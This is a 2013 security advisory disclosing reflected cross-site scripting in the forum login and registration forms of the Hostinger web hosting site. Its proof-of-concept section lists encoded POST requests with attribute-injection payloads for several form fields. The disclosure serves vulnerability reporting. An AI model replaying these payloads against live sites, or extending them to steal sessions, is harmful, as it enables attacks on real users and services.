Hostinger Web Hosting Multiple Cross Site Scripting
Report-Timeline:
================
2013-06-01: Researcher Notification
2013-06-03: RESPONSE
2013-06-07: Ask About the issues
2013-06-10: Vendor Feedback
2013-06-13: Not Fixed
2013-06-16: Full Disclosure
I-VULNERABILITY
-------------------------
#Title: Hostinger Web Hosting Multiple Cross Site Scripting
#Vendor:http://www.hostinger.es
#Author:Juan Carlos Garca (@secnight)
#Follow me
http://www.highsec.es
HTTP://WWW.radio3w.com
http://hackingmadrid.blogspot.com
http://blogs.0verl0ad.com
Twitter:@secnight
Facebook:https://www.facebook.com/pages/ETHICAL-HACKING-Y-OL%C3%89-by-the-Face-WhiteHat/172393869485449?ref=tn_tnmn
II-Introduction:
=============
Hostinger® is a free and affordable premium web hosting services provider and domain registrar.
Hostinger has grown from a small web hosting provider into a world leading and industry recognized
web hosting brand. Hostinger, UAB is proud to be a part of elite ICANN accredited registrars community.
Hostinger has successfully localized services in Indonesia, Philippines, Spain, Italy, France, Poland, Romania, Lithuania, Brazil,
Argentina, Mexico, Columbia, Russia, Ukraine, and many more countries on their way!
-------------------------
III-PROOF OF CONCEPT
=============
Affected items
/forum/login (5)
/forum/register (8)
Attack details
/forum/login
=============
URL encoded POST input email was set to " onmouseover=prompt(952323) bad="
The input is reflected inside a tag element between double quotes.
POST /forum/login HTTP/1.1
email=%22%20onmouseover%3dprompt%28952323%29%20bad%3d%22&pass=secnight&remember=1
VARIANTS
email 2
-------
email=%22%20onmouseover%3dprompt%28952323%29%20bad%3d%22&pass=secnight&remember=1
email=%22%20onmouseover%3dprompt%28982999%29%20bad%3d%22&pass=secnight
pass 3
-------
email=secnight@email.tst&pass=%22%20onmouseover%3dprompt%28952904%29%20bad%3d%22&remember=1
email=secnight@email.tst&pass=%22%20onmouseover%3dprompt%28935474%29%20bad%3d%22
email=secnight%40email.tst&pass=%22%20onmouseover%3dprompt%28993589%29%20bad%3d%22&remember=1
/forum/register.
=============
URL encoded POST input confirmPass was set to " onmouseover=prompt(943546) bad="
The input is reflected inside a tag element between double quotes.
POST /forum/register HTTP/1.1
confirmPass=%22%20onmouseover%3dprompt%28943546%29%20bad%3d%22&email=secnight@email.tst&name=vbhlwxtb&pass=Secnight&recaptcha_challenge_field=&recaptcha_response_field=manual_chal
VARIANTS
----------
----------
confirmPass 2
-------------
confirmPass=%22%20onmouseover%3dprompt%28943546%29%20bad%3d%22&email=secnight@email.tst&name=vbhlwxtb&pass=Senight&recaptcha_challenge_field=&recaptcha_response_field=manual_challenge
confirmPass=%22%20onmouseover%3dprompt%28942726%29%20bad%3d%22&email=secnight%40email.tst&name=noeoyclk&pass=Secnight&recaptcha_challenge_field=&recaptcha_response_field=manual_challenge
email 2
--------
confirmPass=secnight&email=%22%20onmouseover%3dprompt%28982353%29%20bad%3d%22&name=mvjmhkny&pass=Secnightx&recaptcha_challenge_field=&recaptcha_response_field=manual_challenge
confirmPass=secnightx&email=%22%20onmouseover%3dprompt%28978014%29%20bad%3d%22&name=noeoyclk&pass=Secnight&recaptcha_challenge_field=&recaptcha_response_field=manual_challenge
Name 2
-------
confirmPass=secnight&email=secnight@email.tst&name=%22%20onmouseover%3dprompt%28981310%29%20bad%3d%22&pass=Secnight&recaptcha_challenge_field=&recaptcha_response_field=manual_challenge
confirmPass=SECNIGHT&email=secnight%40email.tst&name=%22%20onmouseover%3dprompt%28946111%29%20bad%3d%22&pass=Secnight&recaptcha_challenge_field=&recaptcha_response_field=manual_challenge
pass 2
-------
confirmPass=secnight&email=secnight@email.tst&name=augbmecb&pass=%22%20onmouseover%3dprompt%28956301%29%20bad%3d%22&recaptcha_challenge_field=&recaptcha_response_field=manual_challenge
confirmPass=secnightx&email=secnight%40email.tst&name=noeoyclk&pass=%22%20onmouseover%3dprompt%28972091%29%20bad%3d%22&recaptcha_challenge_field=&recaptcha_response_field=manual_challenge
IV. CREDITS
-------------------------
This vulnerability has been discovered
by Juan Carlos Garcia(@secnight)
V. LEGAL NOTICES
-------------------------
The Author accepts no responsibility for any damage
caused by the use or misuse of this information.
